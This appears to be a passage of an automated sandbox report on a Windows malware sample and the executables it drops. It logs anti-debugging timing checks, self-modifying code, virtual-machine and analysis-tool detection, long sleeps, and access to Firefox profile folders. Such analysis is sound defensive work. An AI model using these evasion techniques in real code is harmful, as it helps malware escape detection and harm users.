Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70AAB second address: 4A70AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70AAF second address: 4A70AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70AB5 second address: 4A70B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F625CED05C0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F625CED05BDh 0x0000001c add cx, E176h 0x00000021 jmp 00007F625CED05C1h 0x00000026 popfd 0x00000027 movzx esi, bx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70B10 second address: 4A70B39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F625CDF2470h 0x00000011 push dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70B39 second address: 4A70B79 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 74C18B68h 0x0000000c pushad 0x0000000d call 00007F625CED05BAh 0x00000012 jmp 00007F625CED05C2h 0x00000017 pop esi 0x00000018 popad 0x00000019 xor dword ptr [esp], 74C08B6Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F625CED05BCh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70B79 second address: 4A70B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70B7F second address: 4A70B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2C3598 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 333609 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8B3598 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 923609 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: B34E3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: B32382 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: CFFD7D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: CD8E11 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: CDF9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Special instruction interceptor: First address: D62B9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: DCA46 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: DC947 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: DA1A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 294932 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 3075C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Special instruction interceptor: First address: 9AF9D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Special instruction interceptor: First address: 9AFA9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Special instruction interceptor: First address: B5144C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Special instruction interceptor: First address: B4FD08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Special instruction interceptor: First address: B7BE16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Special instruction interceptor: First address: 86DD62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Special instruction interceptor: First address: A1091E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Special instruction interceptor: First address: A16703 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Special instruction interceptor: First address: AA9617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 61ADD62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 635091E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 6356703 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 63E9617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 5DDDD62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 5F8091E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 5F86703 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Special instruction interceptor: First address: 6019617 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Memory allocated: 5070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Memory allocated: 52B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Memory allocated: 5100000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A70B50 rdtsc

0_2_04A70B50

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 974	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1050	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1041	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 877	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 794	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 903	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 885	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 773	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Window / User API: threadDelayed 943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1193
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1217
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1224
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1214
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1219
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1183
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1206
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 1216
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 870
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 881
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 909
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 875
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 808
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 886
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 849
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Window / User API: threadDelayed 887

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep count: 974 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep time: -1948974s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep count: 943 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep time: -1886943s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 1050 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -2101050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7832	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep count: 215 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7716	Thread sleep time: -6450000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep count: 1041 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep time: -2083041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 1044 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -2089044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7836	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7952	Thread sleep count: 877 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7952	Thread sleep time: -1754877s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7956	Thread sleep count: 794 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7956	Thread sleep time: -1588794s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 8040	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7936	Thread sleep count: 903 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7936	Thread sleep time: -1806903s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7940	Thread sleep count: 885 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7940	Thread sleep time: -1770885s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7948	Thread sleep count: 773 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7948	Thread sleep time: -1546773s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7964	Thread sleep count: 943 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe TID: 7964	Thread sleep time: -1886943s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7480	Thread sleep time: -2387193s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7472	Thread sleep time: -2435217s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 1420	Thread sleep time: -48000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7448	Thread sleep time: -2449224s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 6360	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7512	Thread sleep time: -2429214s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7468	Thread sleep time: -2439219s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7452	Thread sleep time: -2367183s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7476	Thread sleep time: -2413206s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7484	Thread sleep time: -2433216s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com TID: 7676	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com TID: 7676	Thread sleep time: -3360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 2176	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1464	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 2112	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1820	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1988	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1784	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 2024	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 3176	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 4144	Thread sleep time: -1740870s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 4280	Thread sleep time: -1762881s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7600	Thread sleep time: -1818909s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 3900	Thread sleep time: -1750875s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 3140	Thread sleep time: -1616808s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 7340	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 3904	Thread sleep time: -1772886s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 5968	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 5292	Thread sleep time: -1698849s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 4584	Thread sleep time: -1774887s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe TID: 6656	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe TID: 5800	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe TID: 5800	Thread sleep count: 84 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 7444	Thread sleep count: 78 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 7444	Thread sleep time: -156078s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8148	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8148	Thread sleep time: -152076s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1992	Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 1992	Thread sleep time: -134067s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 7596	Thread sleep count: 222 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 7596	Thread sleep time: -1332000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8032	Thread sleep count: 84 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8032	Thread sleep time: -168084s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8124	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 8124	Thread sleep time: -162081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 4900	Thread sleep count: 75 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 4900	Thread sleep time: -150075s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 2700	Thread sleep count: 89 > 30
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe TID: 2700	Thread sleep time: -178089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe TID: 6432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe TID: 5248	Thread sleep count: 124 > 30
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe TID: 5248	Thread sleep count: 114 > 30

Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_00406301 FindFirstFileW,FindClose,	9_2_00406301
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Code function: 9_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_00406301 FindFirstFileW,FindClose,	22_2_00406301
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Code function: 22_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	22_2_00406CC7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: 3907f97605.exe, 3907f97605.exe, 00000028.00000001.2967637879.0000000000263000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1718567450.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 779ae05f2f.exe, 3907f97605.exe, 3907f97605.exe, 0000001F.00000003.3329141425.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3237931398.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3134050190.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.3101184514.0000000001475000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1716146070.0000000000293000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1758348878.0000000000883000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1759762042.0000000000883000.00000040.00000001.01000000.00000007.sdmp, 3907f97605.exe, 0000001F.00000001.2768123674.0000000000263000.00000040.00000001.01000000.00000010.sdmp, 3907f97605.exe, 00000028.00000001.2967637879.0000000000263000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 779ae05f2f.exe, 00000007.00000003.2691745817.000000000167E000.00000004.00000020.00020000.00000000.sdmp, Finish.com, 00000022.00000003.3272157864.0000000001ADA000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3093176478.000001BB87678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: filemonclass
